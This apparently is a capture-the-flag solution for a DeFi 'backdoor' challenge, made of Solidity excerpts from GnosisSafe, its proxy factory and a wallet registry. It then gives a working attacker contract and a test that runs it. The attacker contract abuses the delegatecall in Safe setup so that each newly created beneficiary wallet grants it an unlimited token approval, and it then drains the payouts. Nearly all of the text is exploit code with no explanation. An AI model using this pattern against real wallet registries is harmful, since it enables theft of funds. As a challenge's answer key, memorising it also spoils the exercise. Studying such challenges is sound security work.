function createProxyWithCallback(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce,
    IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
    uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
    proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
    if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}

function proxyCreated(
    GnosisSafeProxy proxy,
    address singleton,
    bytes calldata initializer,
    uint256
) external override {
    // Make sure we have enough DVT to pay
    require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");

    address payable walletAddress = payable(proxy);

    // Ensure correct factory and master copy
    require(msg.sender == walletFactory, "Caller must be factory");
    require(singleton == masterCopy, "Fake mastercopy used");

    // Ensure initial calldata was a call to `GnosisSafe::setup`
    require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");

    // Ensure wallet initialization is the expected
    require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
    require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");

    // Ensure the owner is a registered beneficiary
    address walletOwner = GnosisSafe(walletAddress).getOwners()[0];

    require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");

    // Remove owner as beneficiary
    _removeBeneficiary(walletOwner);

    // Register the wallet under the owner's address
    wallets[walletOwner] = walletAddress;

    // Pay tokens to the newly created wallet
    token.transfer(walletAddress, TOKEN_PAYMENT);
}

function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,
    bytes calldata data,
    address fallbackHandler,
    address paymentToken,
    uint256 payment,
    address payable paymentReceiver
) external {
    // setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
    setupOwners(_owners, _threshold);
    if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
    // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
    setupModules(to, data);

    if (payment > 0) {
        // To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
        // baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
        handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
    }
    emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}

function setupModules(address to, bytes memory data) internal {
    require(modules[SENTINEL_MODULES] == address(0), "GS100");
    modules[SENTINEL_MODULES] = SENTINEL_MODULES;
    if (to != address(0))
        // Setup has to complete successfully or transaction fails.
        require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");
}

assembly {
    if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
        revert(0, 0)
    }
}

contract RektBackdoor {
    GnosisSafeProxyFactory public factory;
    IProxyCreationCallback public callback;
    IERC20 public token;
    address[] public users;
    address public singleton;

    constructor(
        address _factory,
        address _singleton,
        address _callback,
        address _token,
        address[] memory _users
    ) {
        factory = GnosisSafeProxyFactory(_factory);
        singleton = _singleton;
        callback = IProxyCreationCallback(_callback);
        token = IERC20(_token);
        users = _users;
    }

    function rekt() external {
        bytes memory data = abi.encodeWithSignature(
            "approve(address,address)",
            token,
            address(this)
        );
        for (uint256 i = 0; i < users.length; i++) {
            address[] memory owners = new address[](1);
            owners[0] = users[i];

            bytes memory initializer = abi.encodeWithSignature(
                "setup(address[],uint256,address,bytes,address,address,uint256,address)",
                owners,
                1,
                address(this),
                data,
                address(0),
                address(0),
                0,
                address(0)
            );

            GnosisSafeProxy proxy = factory.createProxyWithCallback(
                singleton,
                initializer,
                0,
                callback
            );

            IERC20(token).transferFrom(address(proxy), tx.origin, 10 ether);
        }
    }

    function approve(address _token, address spender) public {
        IERC20(_token).approve(spender, type(uint256).max);
    }
}

it('Exploit', async function () {
  /** CODE YOUR EXPLOIT HERE */
  const RektBackdoor = await ethers.getContractFactory('RektBackdoor', attacker);
  this.rekt = await RektBackdoor.deploy(
    this.walletFactory.address,
    this.masterCopy.address,
    this.walletRegistry.address,
    this.token.address,
    users
  );

  await this.rekt.connect(attacker).rekt();
});